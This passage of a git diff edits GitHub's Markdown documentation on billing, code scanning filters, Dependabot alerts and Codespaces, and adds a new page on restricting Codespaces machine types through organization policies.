-If you're paying for your {% data variables.product.product_name %} subscription with a coupon, and you aren't using your payment method for any [other paid features or products](/articles/about-billing-on-github) on {% data variables.product.product_name %}, you can remove your credit card or PayPal information.
-
-{% data reusables.dotcom_billing.coupon-expires %}
-
-{% tip %}
-
-**Tip:** If you [downgrade your account to a free product](/articles/downgrading-your-github-subscription) and you don't have subscriptions for any other paid features or products, we'll automatically remove your payment information.
-
-{% endtip %}
-
-## Removing your personal account's payment method
-
-{% data reusables.user_settings.access_settings %}
-{% data reusables.user_settings.billing_plans %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
-
-## Removing your organization's payment method
-
-{% data reusables.dotcom_billing.org-billing-perms %}
-
-{% data reusables.organizations.billing-settings %}
-{% data reusables.user_settings.payment-info-link %}
-{% data reusables.dotcom_billing.remove-payment-method %}
-{% data reusables.dotcom_billing.remove_payment_info %}
diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
index 3d209f2f24..bc07386975 100644
--- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
+++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
@@ -131,6 +131,12 @@ The benefit of using keyword filters is that only values with results are shown
 
 If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch.
 
+{% ifversion fpt or ghes > 3.3 or ghec %}
+
+You can prefix the `tag` filter with `-` to exclude results with that tag. For example, `-tag:style` only shows alerts that do not have the `style` tag.
+
+{% endif %}
+
 ### Restricting results to application code only
 
 You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. See "[About labels for alerts not in application code](#about-labels-for-alerts-that-are-not-found-in-application-code)" above for more information about the types of code that are not application code.
diff --git a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
index 322a5f346e..92f3ba7c48 100644
--- a/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
+++ b/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md
@@ -182,7 +182,7 @@ Analysis time is typically proportional to the amount of code being analyzed. Yo
 
 For compiled languages like Java, C, C++, and C#, {% data variables.product.prodname_codeql %} analyzes all of the code which was built during the workflow run. To limit the amount of code being analyzed, build only the code which you wish to analyze by specifying your own build steps in a `run` block. You can combine specifying your own build steps with using the `paths` or `paths-ignore` filters on the `pull_request` and `push` events to ensure that your workflow only runs when specific code is changed. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpaths)."
 
-For interpreted languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without a specific build, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
+For languages like Go, JavaScript, Python, and TypeScript, that {% data variables.product.prodname_codeql %} analyzes without compiling the source code, you can specify additional configuration options to limit the amount of code to analyze. For more information, see "[Specifying directories to scan](/code-security/secure-coding/configuring-code-scanning#specifying-directories-to-scan)."
 
 If you split your analysis into multiple workflows as described above, we still recommend that you have at least one workflow which runs on a `schedule` which analyzes all of the code in your repository. Because {% data variables.product.prodname_codeql %} analyzes data flows between components, some complex security behaviors may only be detected on a complete build. 
 
diff --git a/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
index 1312ef64f1..367a0af3e7 100644
--- a/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
+++ b/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
@@ -32,7 +32,7 @@ When your code depends on a package that has a security vulnerability, this vuln
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
+{% data variables.product.prodname_dependabot %} performs a scan to detect vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
 
 {% ifversion fpt or ghec %}
 - A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
diff --git a/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
index e98a55d82a..391c53f6a3 100644
--- a/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
+++ b/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
@@ -54,3 +54,7 @@ Your codespace will be automatically deleted when you are removed from an organi
 ## Deleting your unused codespaces
 
 You can manually delete your codespaces in https://github.com/codespaces and from within {% data variables.product.prodname_vscode %}. To reduce the size of a codespace, you can manually delete files using the terminal or from within {% data variables.product.prodname_vscode %}.
+
+## Further reading
+
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
\ No newline at end of file
diff --git a/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
index 15f78fb8eb..1abf739940 100644
--- a/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
+++ b/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -23,10 +23,10 @@ The Command Palette is one of the focal features of {% data variables.product.pr
 
 You can access the {% data variables.product.prodname_vscode_command_palette %} in a number of ways.
 
-- `Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows).
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
 
   Note that this command is a reserved keyboard shortcut in Firefox.
-- `F1`
+- <kbd>F1</kbd>
 - From the Application Menu, click **View > Command Palette…**.
 
   ![The application menu](/assets/images/help/codespaces/codespaces-view-menu.png)
diff --git a/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
index 34ad12301c..e576fc893a 100644
--- a/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
+++ b/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -24,8 +24,7 @@ topics:
 
 You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. 
 
-For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." 
-For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
+For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
 
 ## Changing the machine type in {% data variables.product.prodname_dotcom %}
 
@@ -40,7 +39,11 @@ For information on changing the machine type within {% data variables.product.pr
 
    !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
 
-1. Choose the required machine type.
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
+
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 2. Click **Update codespace**. 
 
diff --git a/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
index 6df3c42808..6695bb503c 100644
--- a/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
+++ b/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
@@ -18,8 +18,6 @@ A codespace will stop running after a period of inactivity. You can specify the
 
 {% endwarning %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 ## Setting your default timeout
diff --git a/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/content/codespaces/developing-in-codespaces/creating-a-codespace.md
index ec200503de..faf49813cf 100644
--- a/content/codespaces/developing-in-codespaces/creating-a-codespace.md
+++ b/content/codespaces/developing-in-codespaces/creating-a-codespace.md
@@ -67,8 +67,6 @@ If you would like to create a codespace for a repository owned by your personal
 
 ## Creating a codespace
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -80,8 +78,11 @@ If you would like to create a codespace for a repository owned by your personal
 
    ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
 
-   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**.
-     ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog box, choose a machine type and then click **Create codespace**.
+
+   ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 {% endwebui %}
    
diff --git a/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
index 1ceef28360..82b643d311 100644
--- a/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
+++ b/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -16,7 +16,7 @@ topics:
 shortTitle: Delete a codespace
 ---
 
- 
+
 
 {% data reusables.codespaces.concurrent-codespace-limit %}
 
@@ -26,8 +26,7 @@ shortTitle: Delete a codespace
 
 {% endnote %}
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
 1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces).
@@ -37,13 +36,13 @@ shortTitle: Delete a codespace
    ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
diff --git a/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md b/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
index ed01105cf3..a2df7f1f7e 100644
--- a/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
+++ b/content/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace.md
@@ -17,7 +17,7 @@ shortTitle: Forward ports
 
 ## About forwarded ports
 
-Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging. 
+Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on a particular port in your codespace, you can forward that port. This allows you to access the application from the browser on your local machine for testing and debugging.
 
 When an application running inside a codespace prints output to the terminal that contains a localhost URL, such as `http://localhost:PORT` or `http://127.0.0.1:PORT`, the port is automatically forwarded. If you're using {% data variables.product.prodname_codespaces %} in the browser or in {% data variables.product.prodname_vscode %}, the URL string in the terminal is converted into a link that you can click to view the web page on your local machine. By default, {% data variables.product.prodname_codespaces %} forwards ports using HTTP.
 
@@ -29,8 +29,6 @@ You can also forward a port manually, label forwarded ports, share forwarded por
 
 You can manually forward a port that wasn't forwarded automatically.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -47,12 +45,12 @@ You can manually forward a port that wasn't forwarded automatically.
 By default, {% data variables.product.prodname_codespaces %} forwards ports using HTTP but you can update any port to use HTTPS, as needed.
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
-1. Right click the port you want to update, then hover over **Change Port Protocol**. 
+1. Right click the port you want to update, then hover over **Change Port Protocol**.
   ![Option to change port protocol](/assets/images/help/codespaces/update-port-protocol.png)
 1. Select the protocol needed for this port. The protocol that you select will be remembered for this port for the lifetime of the codespace.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -65,7 +63,7 @@ By default, {% data variables.product.prodname_codespaces %} forwards ports usin
    ![Text box to type port button](/assets/images/help/codespaces/port-number-text-box.png)
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
@@ -74,7 +72,7 @@ By default, {% data variables.product.prodname_codespaces %} forwards ports usin
 To forward a port use the `gh codespace ports forward` subcommand. Replace `codespace-port:local-port` with the remote and local ports that you want to connect. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports forward <em>codespace-port</em>:<em>local-port</em> 
+gh codespace ports forward <em>codespace-port</em>:<em>local-port</em>
 ```
 
 For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_ports_forward).
@@ -93,8 +91,6 @@ To see details of forwarded ports enter `gh codespace ports` and then choose a c
 
 If you want to share a forwarded port with others, you can either make the port private to your organization or make the port public. After you make a port private to your organization, anyone in the organization with the port's URL can view the running application. After you make a port public, anyone who knows the URL and port number can view the running application without needing to authenticate.
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -105,7 +101,7 @@ If you want to share a forwarded port with others, you can either make the port
 1. Send the copied URL to the person you want to share the port with.
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.navigate-to-ports-tab %}
@@ -116,7 +112,7 @@ If you want to share a forwarded port with others, you can either make the port
 1. Send the copied URL to the person you want to share the port with.
 
 {% endvscode %}
-   
+
 {% cli %}
 
 To change the visibility of a forwarded port, use the `gh codespace ports visibility` subcommand. {% data reusables.codespaces.port-visibility-settings %}
@@ -124,7 +120,7 @@ To change the visibility of a forwarded port, use the `gh codespace ports visibi
 Replace `codespace-port` with the forwarded port number. Replace `setting` with `private`, `org`, or `public`. After entering the command choose from the list of codespaces that's displayed.
 
 ```shell
-gh codespace ports visibility <em>codespace-port</em>:<em>setting</em> 
+gh codespace ports visibility <em>codespace-port</em>:<em>setting</em>
 ```
 
 You can set the visibility for multiple ports with one command. For example:
diff --git a/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
index 2f9f4c0cdc..ee8bb91c2e 100644
--- a/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
+++ b/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md
@@ -36,28 +36,28 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 {% mac %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
 
-3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-4. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endmac %}
 
 {% windows %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+1. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
 
    ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
 
-3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
+1. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**.
 
    ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
 
-4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
-5. Sign in to {% data variables.product.product_name %} to approve the extension.
+1. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
 
 {% endwindows %}
 
@@ -68,8 +68,8 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 ## Opening a codespace in {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.click-remote-explorer-icon-vscode %}
-2. Under "Codespaces", click the codespace you want to develop in.
-3. Click the Connect to Codespace icon.
+1. Under "Codespaces", click the codespace you want to develop in.
+1. Click the Connect to Codespace icon.
 
    ![The Connect to Codespace icon in {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
 
@@ -80,17 +80,23 @@ Use the {% data variables.product.prodname_vs %} Marketplace to install the [{%
 You can change the machine type of your codespace at any time.
 
 1. In {% data variables.product.prodname_vscode %}, open the Command Palette (`shift command P` / `shift control P`).
-2. Search for and select "Codespaces: Change Machine Type."
+1. Search for and select "Codespaces: Change Machine Type."
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png)
 
-3. Click the codespace that you want to change.
+1. Click the codespace that you want to change.
 
    ![Searching for a branch to create a new {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png)
 
-4. Choose the machine type you want to use. 
+1. Choose the machine type you want to use. 
 
-If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now. Click **Yes** if you want to change the machine type used for this codespace immediately. If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+1. If the codespace is currently running, a message is displayed asking if you would like to restart and reconnect to your codespace now.
+
+   Click **Yes** if you want to change the machine type used for this codespace immediately.
+   
+   If you click **No**, or if the codespace is not currently running, the change will take effect the next time the codespace restarts.
 
 ## Deleting a codespace in {% data variables.product.prodname_vscode %}
 
diff --git a/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md b/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
index 399ad2b384..089a99a913 100644
--- a/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
+++ b/content/codespaces/developing-in-codespaces/using-codespaces-with-github-cli.md
@@ -157,7 +157,7 @@ For more information about the `gh codespace cp` command, including additional f
 
 ### Modify ports in a codespace
 
-You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>control</kbd>+<kbd>c</kbd>.
+You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
 
 ```shell
 gh codespace ports forward <em>codespace-port-number</em>:<em>local-port-number</em> -c <em>codespace-name</em>
diff --git a/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
index 7e68cd8fd1..1fa7c620fb 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
@@ -24,7 +24,7 @@ Organization owners can control which users in your organization can create and
 To use codespaces in your organization, you must do the following:
 
 - Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. 
-- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
+- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#enable-codespaces-for-users-in-your-organization). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
 - [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
 - Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
 
diff --git a/content/codespaces/managing-codespaces-for-your-organization/index.md b/content/codespaces/managing-codespaces-for-your-organization/index.md
index 6289320719..045d47ac93 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/index.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -13,6 +13,7 @@ children:
   - /managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
   - /managing-repository-access-for-your-organizations-codespaces
   - /reviewing-your-organizations-audit-logs-for-codespaces
+  - /restricting-access-to-machine-types
 shortTitle: Managing your organization
 ---
  
diff --git a/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
index 1df624ccef..ff668f0ff5 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
@@ -37,6 +37,8 @@ You can disable the use of {% data variables.product.prodname_codespaces %} in y
 
 You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
 
+You can limit the choice of machine types that are available for repositories owned by your organization. This allows you to prevent people using overly resourced machines for their codespaces. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## Deleting unused codespaces
 
 Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. 
diff --git a/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md
index 33339183d4..2bc6e98fd7 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces.md
@@ -78,6 +78,6 @@ You can check which access policies are applied to a secret in your organization
 ![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
 1. For more details on the configured permissions for each secret, click **Update**.
 
-## Further Reading
+## Further reading
 
 - "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"
diff --git a/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
index 10088f39bd..0b6c544a64 100644
--- a/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
+++ b/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -30,6 +30,6 @@ To manage which users in your organization can use {% data variables.product.pro
 1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
     !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## Further reading
 
 - "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..1941e35760
--- /dev/null
+++ b/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,94 @@
+---
+title: Restricting access to machine types
+shortTitle: Machine type access
+intro: 'You can set constraints on the types of machines users can choose when they create codespaces in your organization.'
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Overview
+
+Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. For more information about pricing, see "[About billing for Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+
+As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_codespaces %} settings for your organization.
+
+### Behavior when you set a machine type constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they time out. When the user attempts to resume the codespace they are shown a message telling them that the currenly selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type.
+
+If you remove higher specification machine types that are required by the {% data variables.product.prodname_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_codespaces %} configuration.
+
+{% note %}
+
+**Note**: Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+{% endnote %}
+
+If setting a policy for machine types prevents people from using {% data variables.product.prodname_codespaces %} for a particular repository there are two options:
+
+* You can adjust your policies to specifically remove the restrictions from the affected repository.
+* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines.
+
+If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+## Adding a policy to limit the available machine types
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Codespaces", click **Policy**.
+
+   !["Policy" tab in left sidebar](/assets/images/help/organizations/codespaces-policy-sidebar.png)
+
+1. On the "Codespace policies" page, click **Create Policy**.
+1. Enter a name for your new policy.
+1. Click **Add constraint** and choose **Machine types**.
+
+   ![Add a constraint for machine types](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available.
+
+   ![Edit the machine type constraint](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+1. In the "Change policy target" area, click the dropdown button.
+1. Choose either **All repositories** or **Selected repositories** to determine which repositories this policy will apply to.
+1. If you chose **Selected repositories**:
+   1. Click {% octicon "gear" aria-label="The settings icon" %}.
+
+      ![Edit the settings for the policy](/assets/images/help/codespaces/policy-edit.png)
+
+   1. Select the repositories you want this policy to apply to.
+   1. At the bottom of the repository list, click **Select repositories**.
+
+      ![Select repositories for this policy](/assets/images/help/codespaces/policy-select-repos.png)
+
+1. Click **Save**.
+
+## Editing a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the name of the policy you want to edit.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy 
+
